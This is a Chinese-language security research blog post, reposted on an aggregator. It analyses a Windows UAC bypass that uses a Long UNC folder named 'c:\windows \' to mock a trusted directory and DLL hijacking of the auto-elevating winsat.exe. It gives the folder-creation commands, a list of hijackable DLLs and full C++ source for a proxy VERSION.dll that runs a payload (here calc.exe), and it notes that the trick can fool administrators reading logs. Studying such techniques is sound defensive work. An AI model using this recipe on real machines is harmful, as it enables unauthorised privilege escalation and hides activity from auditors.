6

通过模拟可信目录绕过UAC的利用分析

 3 years ago
source link: https://3gstudent.github.io/3gstudent.github.io/%E9%80%9A%E8%BF%87%E6%A8%A1%E6%8B%9F%E5%8F%AF%E4%BF%A1%E7%9B%AE%E5%BD%95%E7%BB%95%E8%BF%87UAC%E7%9A%84%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

通过模拟可信目录绕过UAC的利用分析

0x00 前言


从@CE2Wells的博客学到的一个技巧,通过模拟可信目录能够绕过UAC,本文将对结合自己的经验对这个方法进行介绍,添加自己的理解,分享测试中的细节

文章地址:

https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e

0x01 简介


0x02 原理介绍


1、Long UNC

在之前的文章《Catalog签名伪造——Long UNC文件名欺骗》曾介绍过exe文件使用Long UNC后能够欺骗系统,将其识别为另一个文件

type putty.exe > "\\?\C:\Windows\System32\calc.exe "
Alt text

这个方法同样适用于文件夹

md "\\?\c:\windows "

新创建的文件夹能够欺骗系统,将其识别为另一个文件夹

Alt text
Alt text

2、默认能够绕过UAC的文件

需要满足以下三个条件:

  • 程序配置为自动提升权限,以管理员权限执行
  • 程序包含签名
  • 从受信任的目录("c:\windows\system32")执行

3、普通用户权限能够在磁盘根目录创建文件夹

例如,普通用户权限能够在c盘下创建文件夹

4、dll劫持

exe程序如果在启动过程中需要加载dll,默认先搜索exe程序的同级目录

综上,满足了绕过UAC的所有条件

实现的思路如下:

  1. 找到一个默认能够绕过UAC的文件,例如c:\windows\system32\winsat.exe
  2. 使用Long UNC创建一个特殊的文件夹"c:\windows \",并将winsat.exe复制到该目录
  3. 执行winsat.exe,记录启动过程,发现启动时需要加载同级目录下的WINMM.dll
  4. 编写payload.dll,指定导出函数同c:\windows\system32\winmm.dll相同,并命名为"c:\windows \system32\WINMM.dll"
  5. 执行"c:\windows \system32\winsat.exe",将自动绕过UAC,加载"c:\windows \system32\WINMM.dll",执行payload

0x03 实现细节


1、寻找可供利用的exe

这些文件的特征之一是manifest中的autoElevate属性为true

可以借助powershell实现自动化搜索,参考工具:

https://github.com/g3rzi/Manifesto

界面化的工具使用如下图

Alt text

2、使用Long UNC创建一个特殊的文件夹"c:\windows \"

C++的实现代码如下:

CreateDirectoryW(L"\\\\?\\C:\\Windows \\", 0);

通过命令行实现的命令如下:

md "\\?\c:\windows "

3、记录winsat.exe的启动过程,寻找启动时加载的dll

这里可以使用Process Monitor,筛选出启动过程中结果为”NAME NOT FOUND”的记录,如下图

Alt text

因此,可供利用的dll名称如下:

  • VERSION.dll
  • WINMM.dll
  • POWRPROF.dll
  • dxgi.dll
  • dwmapi.dll
  • d3d10_1.dll
  • d3d1-_1core.dll
  • d3d11.dll
  • d3d10core.dll
  • QUARTZ.dll

任选一个即可

4、编写payload.dll,指定导出函数

这里可以使用exportstoc,下载地址:

https://github.com/michaellandi/exportstoc

详细使用说明可参考之前的文章《Study Notes Weekly No.1(Monitor WMI & ExportsToC++ & Use DiskCleanup bypass UAC)》

例如这里选择VERSION.dll,劫持的原dll路径为c:\\Windows\\system32\\version.dll,如下图

Alt text

添加payload为启动计算器,最终的代码如下:

#include "stdafx.h"
#include <iostream>
#include <windows.h>

using namespace std;

#pragma comment (linker, "/export:GetFileVersionInfoA=c:\\windows\\system32\\version.GetFileVersionInfoA,@1")
#pragma comment (linker, "/export:GetFileVersionInfoByHandle=c:\\windows\\system32\\version.GetFileVersionInfoByHandle,@2")
#pragma comment (linker, "/export:GetFileVersionInfoExW=c:\\windows\\system32\\version.GetFileVersionInfoExW,@3")
#pragma comment (linker, "/export:GetFileVersionInfoSizeA=c:\\windows\\system32\\version.GetFileVersionInfoSizeA,@4")
#pragma comment (linker, "/export:GetFileVersionInfoSizeExW=c:\\windows\\system32\\version.GetFileVersionInfoSizeExW,@5")
#pragma comment (linker, "/export:GetFileVersionInfoSizeW=c:\\windows\\system32\\version.GetFileVersionInfoSizeW,@6")
#pragma comment (linker, "/export:GetFileVersionInfoW=c:\\windows\\system32\\version.GetFileVersionInfoW,@7")
#pragma comment (linker, "/export:VerFindFileA=c:\\windows\\system32\\version.VerFindFileA,@8")
#pragma comment (linker, "/export:VerFindFileW=c:\\windows\\system32\\version.VerFindFileW,@9")
#pragma comment (linker, "/export:VerInstallFileA=c:\\windows\\system32\\version.VerInstallFileA,@10")
#pragma comment (linker, "/export:VerInstallFileW=c:\\windows\\system32\\version.VerInstallFileW,@11")
#pragma comment (linker, "/export:VerLanguageNameA=c:\\windows\\system32\\version.VerLanguageNameA,@12")
#pragma comment (linker, "/export:VerLanguageNameW=c:\\windows\\system32\\version.VerLanguageNameW,@13")
#pragma comment (linker, "/export:VerQueryValueA=c:\\windows\\system32\\version.VerQueryValueA,@14")
#pragma comment (linker, "/export:VerQueryValueW=c:\\windows\\system32\\version.VerQueryValueW,@15")

BOOL WINAPI DllMain(HINSTANCE hInst,DWORD reason,LPVOID)
{
	system("start calc.exe");
	return true;
}

将其编译成dll,另存为"c:\windows \system32\VERSION.dll"

5、启动exe

命令行下启动需要绝对路径:"c:\windows \system32\winsat.exe"

注:

这里不可以使用短文件名(短文件名通过"dir /x"获得)

0x04 利用分析


1、可供利用的位置不唯一

在我的测试系统(Win7 x64)中,可供利用的exe有39个,可供利用的dll也有很多

2、对于Long UNC这种文件夹还有其他形式

  • 文件名可以包含多个空格: "\\?\C:\Windows "
  • 使用字符"."(最少两个): "\\?\C:\Windows.."

但其他形式的文件夹无法用来绕过UAC

3、使用Long UNC创建伪造的文件夹能够欺骗“粗心的管理员”

例如系统开启Windows command line process auditing,记录程序运行的参数

Alt text

肉眼很难分辨

0x05 小结


本文对通过模拟可信目录绕过UAC的方法进行分析,分享测试中的细节


LEAVE A REPLY

Written on February 8, 2019

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK